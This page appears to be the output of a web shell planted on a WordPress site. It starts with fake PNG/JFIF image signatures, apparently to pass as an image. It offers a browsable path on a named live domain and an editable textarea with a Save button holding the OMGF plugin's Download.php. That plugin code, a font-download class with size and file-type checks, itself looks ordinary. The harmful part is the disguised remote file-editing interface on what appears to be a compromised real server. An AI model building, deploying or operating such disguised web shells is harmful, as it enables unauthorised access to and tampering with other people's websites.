�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2F'>www.daderdo.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2Fwp-content%2Fplugins%2Fhost-webfonts-local%2F'>host-webfonts-local</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2Fwp-content%2Fplugins%2Fhost-webfonts-local%2Fsrc%2F'>src</a>/</p><hr><h3>✏️ Editing: Download.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/* * * * * * * * * * * * * * * * * * * * *
*
*  ██████╗ ███╗   ███╗ ██████╗ ███████╗
* ██╔═══██╗████╗ ████║██╔════╝ ██╔════╝
* ██║   ██║██╔████╔██║██║  ███╗█████╗
* ██║   ██║██║╚██╔╝██║██║   ██║██╔══╝
* ╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██║
*  ╚═════╝ ╚═╝     ╚═╝ ╚═════╝ ╚═╝
*
* @package  : OMGF
* @author   : Daan van den Bergh
* @copyright: © 2026 Daan van den Bergh
* @url      : https://daan.dev
* * * * * * * * * * * * * * * * * * * */

namespace OMGF;

use OMGF\Helper as OMGF;
use OMGF\Admin\Notice;
use OMGF\Admin\Settings;

class Download {
	/**
	 * Used to map Mime Types to file extensions.
	 * The most likely MIME type is at the top, so it can be used with array_search().
	 */
	const MIME_MAP = [
		&#039;font/woff2&#039;                    =&gt; &#039;woff2&#039;,
		&#039;application/font-woff2&#039;        =&gt; &#039;woff2&#039;,
		&#039;font/woff&#039;                     =&gt; &#039;woff&#039;,
		&#039;application/font-woff&#039;         =&gt; &#039;woff&#039;,
		&#039;font/ttf&#039;                      =&gt; &#039;ttf&#039;,
		&#039;application/x-font-ttf&#039;        =&gt; &#039;ttf&#039;,
		&#039;font/sfnt&#039;                     =&gt; &#039;ttf&#039;, // Can be WOFF2 or TTF, but we pick TTF.
		&#039;application/font-sfnt&#039;         =&gt; &#039;ttf&#039;,
		&#039;font/otf&#039;                      =&gt; &#039;otf&#039;,
		&#039;application/x-font-opentype&#039;   =&gt; &#039;otf&#039;,
		&#039;application/vnd.ms-fontobject&#039; =&gt; &#039;eot&#039;,
	];

	/**
	 * Default maximum size (in bytes) of a downloaded font file.
	 *
	 * @since v6.3.12
	 */
	const MAX_FILE_SIZE = 25 * MB_IN_BYTES;

	/**
	 * Maximum number of failed downloads reported on the Dashboard.
	 *
	 * @since v6.3.12
	 */
	const MAX_FAILURES = 20;

	/**
	 * Reasons why a downloaded file was discarded.
	 */
	const FAILURE_EMPTY = &#039;empty&#039;;

	const FAILURE_TOO_LARGE = &#039;too_large&#039;;

	const FAILURE_INVALID = &#039;invalid&#039;;


	/** @var string $url */
	private $url;

	/** @var string $filename */
	private $filename;

	/** @var string $path */
	private $path;

	/**
	 * OMGF\Download constructor.
	 */
	public function __construct(
		string $url,
		string $filename,
		string $path
	) {
		$this-&gt;url = $url;
		/**
		 * @since v6.3.12 Sanitize the filename so a font family (which it&#039;s partly built from) can&#039;t contain a
		 *                path separator and write the downloaded file outside of $path.
		 */
		$this-&gt;filename = sanitize_file_name( $filename );
		$this-&gt;path     = $path;
	}

	/**
	 * Download $url to $path and return OMGF_UPLOAD_URL to $filename.
	 *
	 * @return string
	 *
	 * @codeCoverageIgnore Because too many edge cases and error handling. We&#039;ll notice soon enough if downloads fail.
	 */
	public function download() {
		wp_mkdir_p( $this-&gt;path );

		if ( str_starts_with( $this-&gt;url, &#039;//&#039; ) ) {
			$this-&gt;url = &#039;https:&#039; . $this-&gt;url;
		}

		/**
		 * @since v6.3.11 Use an unguessable name for the temporary file, because $this-&gt;path is inside the
		 *                uploads directory, i.e. it&#039;s publicly accessible.
		 */
		$temp_filename = $this-&gt;path . &#039;/&#039; . $this-&gt;filename . &#039;-&#039; . wp_generate_password( 12, false ) . &#039;.tmp&#039;;

		$max_file_size = self::get_max_file_size();
		$response      = wp_safe_remote_get(
			$this-&gt;url,
			[
				&#039;timeout&#039;             =&gt; 300,
				&#039;stream&#039;              =&gt; true,
				&#039;filename&#039;            =&gt; $temp_filename,
				/**
				 * @since v6.3.12 Stop downloading once the file exceeds the maximum size. One extra byte is requested, so
				 *                a file which was cut off can be told apart from a file of exactly the maximum size.
				 */
				&#039;limit_response_size&#039; =&gt; $max_file_size + 1,
			]
		);

		if ( is_wp_error( $response ) ) {
			$this-&gt;delete_temp_file( $temp_filename );

			Notice::set_notice(
				__( &#039;OMGF encountered an error while downloading font files&#039;, &#039;host-webfonts-local&#039; ) . &#039;: &#039; . $response-&gt;get_error_message(),
				&#039;omgf-download-failed&#039;,
				&#039;error&#039;,
				$response-&gt;get_error_code()
			);

			return &#039;&#039;;
		}

		$code = wp_remote_retrieve_response_code( $response );

		// Handle non-success HTTP status codes.
		if ( $code &lt; 200 || $code &gt;= 300 ) {
			$this-&gt;delete_temp_file( $temp_filename );

			Notice::set_notice(
				__( &#039;OMGF received a non-success HTTP status while downloading&#039;, &#039;host-webfonts-local&#039; ) . &#039;: &#039; . $code . &#039; &#039; . $this-&gt;url,
				&#039;omgf-file-download-failed&#039;,
				&#039;error&#039;,
				$code ?: 500
			);

			return &#039;&#039;;
		}

		$content_type = wp_remote_retrieve_header( $response, &#039;content-type&#039; );

		if ( ! $content_type ) {
			$this-&gt;delete_temp_file( $temp_filename );

			Notice::set_notice(
				__( &#039;OMGF couldn\&#039;t determine the mime-type for the downloaded font file&#039;, &#039;host-webfonts-local&#039; ) . &#039;: &#039; . $this-&gt;filename,
				&#039;omgf-download-mime-type-failed&#039;,
				&#039;error&#039;,
				500
			);

			return &#039;&#039;;
		}

		// Normalize Content-Type before lookup (strip parameters, lowercase)
		$content_type = strtolower( trim( explode( &#039;;&#039;, $content_type )[0] ) );
		$extension    = self::MIME_MAP[ $content_type ] ?? &#039;&#039;;

		if ( ! $extension ) {
			$this-&gt;delete_temp_file( $temp_filename );

			OMGF::debug(
				sprintf(
					&#039;Unexpected Content-Type &quot;%s&quot; for font file &quot;%s&quot; from URL &quot;%s&quot;&#039;,
					$content_type,
					$this-&gt;filename,
					$this-&gt;url
				)
			);

			Notice::set_notice(
				__( &#039;OMGF couldn\&#039;t determine the file extension for the downloaded font file&#039;, &#039;host-webfonts-local&#039; ) . &#039;: &#039; . $this-&gt;filename,
				&#039;omgf-download-extension-failed&#039;,
				&#039;error&#039;,
				500
			);

			return &#039;&#039;;
		}

		/**
		 * @since v6.3.12 Validate the downloaded file before it&#039;s stored.
		 */
		$reason = $this-&gt;validate_file( $temp_filename, $max_file_size );

		if ( $reason ) {
			$this-&gt;delete_temp_file( $temp_filename );

			/**
			 * Reported on the Dashboard (and in the Admin Bar), because downloads often run during a visitor&#039;s request.
			 *
			 * @see \OMGF\Admin\Dashboard::render_download_failures()
			 */
			self::add_failure( $this-&gt;url, $reason );

			return &#039;&#039;;
		}

		if ( file_exists( $temp_filename ) ) {
			$final_path = $this-&gt;path . &#039;/&#039; . $this-&gt;filename . &#039;.&#039; . $extension;

			if ( ! rename( $temp_filename, $final_path ) ) {
				Notice::set_notice(
					__( &#039;OMGF failed to move downloaded file to final location&#039;, &#039;host-webfonts-local&#039; ) . &#039;: &#039; . $final_path,
					&#039;omgf-rename-failed&#039;,
					&#039;error&#039;,
					500
				);

				// Clean up the temp file
				$this-&gt;delete_temp_file( $temp_filename );

				return &#039;&#039;;
			}
		}

		self::remove_failure( $this-&gt;url );

		return OMGF_UPLOAD_URL . str_replace( OMGF_UPLOAD_DIR, &#039;&#039;, $this-&gt;path ) . &#039;/&#039; . $this-&gt;filename . &#039;.&#039; . $extension;
	}

	/**
	 * Maximum size (in bytes) of a downloaded font file.
	 *
	 * @since  v6.3.12
	 * @filter omgf_download_max_file_size
	 *
	 * @return int
	 */
	public static function get_max_file_size() {
		return max( 1, (int) apply_filters( &#039;omgf_download_max_file_size&#039;, self::MAX_FILE_SIZE ) );
	}

	/**
	 * Checks if $file is a complete font file, i.e. not empty, not cut off because it exceeds the maximum size, and
	 * starting with the signature of a font format.
	 *
	 * @since v6.3.12
	 *
	 * @param string $file
	 * @param int    $max_file_size
	 *
	 * @return string An error message if the file is invalid, an empty string if it&#039;s valid.
	 */
	private function validate_file( $file, $max_file_size ) {
		$size = file_exists( $file ) ? filesize( $file ) : 0;

		if ( ! $size ) {
			return self::FAILURE_EMPTY;
		}

		if ( $size &gt; $max_file_size ) {
			return self::FAILURE_TOO_LARGE;
		}

		if ( ! self::is_font_file( $file ) ) {
			return self::FAILURE_INVALID;
		}

		return &#039;&#039;;
	}

	/**
	 * Failed downloads, most recent first.
	 *
	 * @since v6.3.12
	 *
	 * @return array [ url =&gt; [ &#039;reason&#039; =&gt; string, &#039;time&#039; =&gt; int ] ]
	 */
	public static function get_failures() {
		return self::normalize_failures( get_option( Settings::OMGF_DB_DOWNLOAD_FAILURES, [] ) );
	}

	/**
	 * Removes invalid entries and sorts the failed downloads, most recent first.
	 *
	 * @since v6.3.12
	 *
	 * @param mixed $failures
	 *
	 * @return array
	 */
	private static function normalize_failures( $failures ) {
		if ( ! is_array( $failures ) ) {
			return []; // @codeCoverageIgnore
		}

		$failures = array_filter(
			$failures,
			function ( $failure, $url ) {
				return is_string( $url ) &amp;&amp; is_array( $failure ) &amp;&amp; in_array( $failure[&#039;reason&#039;] ?? &#039;&#039;, self::get_failure_reasons(), true );
			},
			ARRAY_FILTER_USE_BOTH
		);

		uasort(
			$failures,
			function ( $a, $b ) {
				return ( $b[&#039;time&#039;] ?? 0 ) &lt;=&gt; ( $a[&#039;time&#039;] ?? 0 );
			}
		);

		return $failures;
	}

	/**
	 * Stores a failed download, keeping at most MAX_FAILURES (the most recent ones).
	 *
	 * @since v6.3.12
	 *
	 * @param string $url
	 * @param string $reason One of the FAILURE_* constants.
	 *
	 * @return void
	 */
	public static function add_failure( $url, $reason ) {
		self::update_failures(
			function ( $failures ) use ( $url, $reason ) {
				unset( $failures[ $url ] );

				return array_slice( [ $url =&gt; [ &#039;reason&#039; =&gt; $reason, &#039;time&#039; =&gt; time() ] ] + $failures, 0, self::MAX_FAILURES, true );
			}
		);
	}

	/**
	 * Removes a failed download, e.g. once it succeeds.
	 *
	 * @since v6.3.12
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public static function remove_failure( $url ) {
		/**
		 * This runs after every successful download, so only lock when there&#039;s something to remove. The check reads the
		 * database, because a cached copy might not contain a failure stored by another request.
		 */
		if ( ! isset( self::read_stored_failures()[ $url ] ) ) {
			return;
		}

		self::update_failures(
			function ( $failures ) use ( $url ) {
				unset( $failures[ $url ] );

				return $failures;
			}
		);
	}

	/**
	 * Removes all failed downloads, i.e. when they&#039;re dismissed.
	 *
	 * @since v6.3.12
	 *
	 * @return void
	 */
	public static function clear_failures() {
		self::update_failures(
			function () {
				return [];
			}
		);
	}

	/**
	 * Reads the failed downloads from the database, instead of a (possibly outdated) cached copy.
	 *
	 * @since v6.3.12
	 *
	 * @return array
	 */
	private static function read_stored_failures() {
		global $wpdb;

		$stored = $wpdb-&gt;get_var(
			$wpdb-&gt;prepare( &quot;SELECT option_value FROM $wpdb-&gt;options WHERE option_name = %s&quot;, Settings::OMGF_DB_DOWNLOAD_FAILURES )
		);

		return self::normalize_failures( $stored === null ? [] : maybe_unserialize( $stored ) );
	}

	/**
	 * Updates the failed downloads while holding a (MySQL) lock, based on the value currently stored in the database,
	 * so concurrent downloads can&#039;t overwrite each other&#039;s changes.
	 *
	 * @since v6.3.12
	 *
	 * @param callable $callback Receives the current failed downloads and returns the new ones.
	 *
	 * @return void
	 */
	private static function update_failures( $callback ) {
		global $wpdb;

		$lock_name = $wpdb-&gt;prefix . Settings::OMGF_DB_DOWNLOAD_FAILURES;
		// Databases which don&#039;t support locks (e.g. SQLite) return null, in which case we proceed without one.
		$locked = (bool) $wpdb-&gt;get_var( $wpdb-&gt;prepare( &#039;SELECT GET_LOCK(%s, %d)&#039;, $lock_name, 5 ) );

		try {
			$failures = $callback( self::read_stored_failures() );

			wp_cache_delete( Settings::OMGF_DB_DOWNLOAD_FAILURES, &#039;options&#039; );
			wp_cache_delete( &#039;notoptions&#039;, &#039;options&#039; );

			if ( empty( $failures ) ) {
				delete_option( Settings::OMGF_DB_DOWNLOAD_FAILURES );
			} else {
				update_option( Settings::OMGF_DB_DOWNLOAD_FAILURES, $failures, false );
			}
		} finally {
			if ( $locked ) {
				$wpdb-&gt;query( $wpdb-&gt;prepare( &#039;SELECT RELEASE_LOCK(%s)&#039;, $lock_name ) );
			}
		}
	}

	/**
	 * @since v6.3.12
	 *
	 * @return string[]
	 */
	private static function get_failure_reasons() {
		return [ self::FAILURE_EMPTY, self::FAILURE_TOO_LARGE, self::FAILURE_INVALID ];
	}

	/**
	 * A human-readable description of why a download failed, and what the user can do about it.
	 *
	 * @since v6.3.12
	 *
	 * @param string $reason One of the FAILURE_* constants.
	 *
	 * @return string
	 */
	public static function get_failure_message( $reason ) {
		switch ( $reason ) {
			case self::FAILURE_TOO_LARGE:
				return sprintf(
				/* translators: %s: maximum file size, e.g. 25 MB */
					__( &#039;The file exceeds the maximum file size of %s, so it isn\&#039;t used and a fallback font is shown instead.&#039;, &#039;host-webfonts-local&#039; ),
					size_format( self::get_max_file_size() )
				);
			case self::FAILURE_INVALID:
				return __( &#039;The downloaded file isn\&#039;t a font file (e.g. an error page), so a fallback font is shown until it\&#039;s downloaded successfully. Click Save &amp; Optimize to try again.&#039;, &#039;host-webfonts-local&#039; );
			default:
				return __( &#039;The downloaded file was empty, so a fallback font is shown until it\&#039;s downloaded successfully. Click Save &amp; Optimize to try again.&#039;, &#039;host-webfonts-local&#039; );
		}
	}

	/**
	 * Checks if $file starts with the signature (magic bytes) of a WOFF2, WOFF, TrueType, OpenType or EOT file.
	 *
	 * @since v6.3.12
	 *
	 * @param string $file
	 *
	 * @return bool
	 */
	public static function is_font_file( $file ) {
		$handle = @fopen( $file, &#039;rb&#039; ); // phpcs:ignore

		if ( ! $handle ) {
			return false; // @codeCoverageIgnore
		}

		$header = (string) fread( $handle, 36 );

		fclose( $handle );

		// WOFF2, WOFF, OpenType (CFF), TrueType, TrueType (Apple), TrueType Collection.
		if ( in_array( substr( $header, 0, 4 ), [ &#039;wOF2&#039;, &#039;wOFF&#039;, &#039;OTTO&#039;, &quot;\x00\x01\x00\x00&quot;, &#039;true&#039;, &#039;ttcf&#039; ], true ) ) {
			return true;
		}

		// EOT: magic number 0x504C at offset 34.
		return strlen( $header ) &gt;= 36 &amp;&amp; substr( $header, 34, 2 ) === &#039;LP&#039;;
	}

	/**
	 * Removes the temporary file the response was streamed to.
	 *
	 * @since v6.3.11 The temporary file lives inside the uploads directory, which is publicly accessible, so
	 *                it should never be left behind, no matter why the download was aborted.
	 *
	 * @param string $temp_filename
	 *
	 * @return void
	 */
	private function delete_temp_file( $temp_filename ) {
		if ( file_exists( $temp_filename ) ) {
			unlink( $temp_filename );
		}
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2Fwp-content%2Fplugins%2Fhost-webfonts-local%2Fsrc'>🔙 Back</a></p>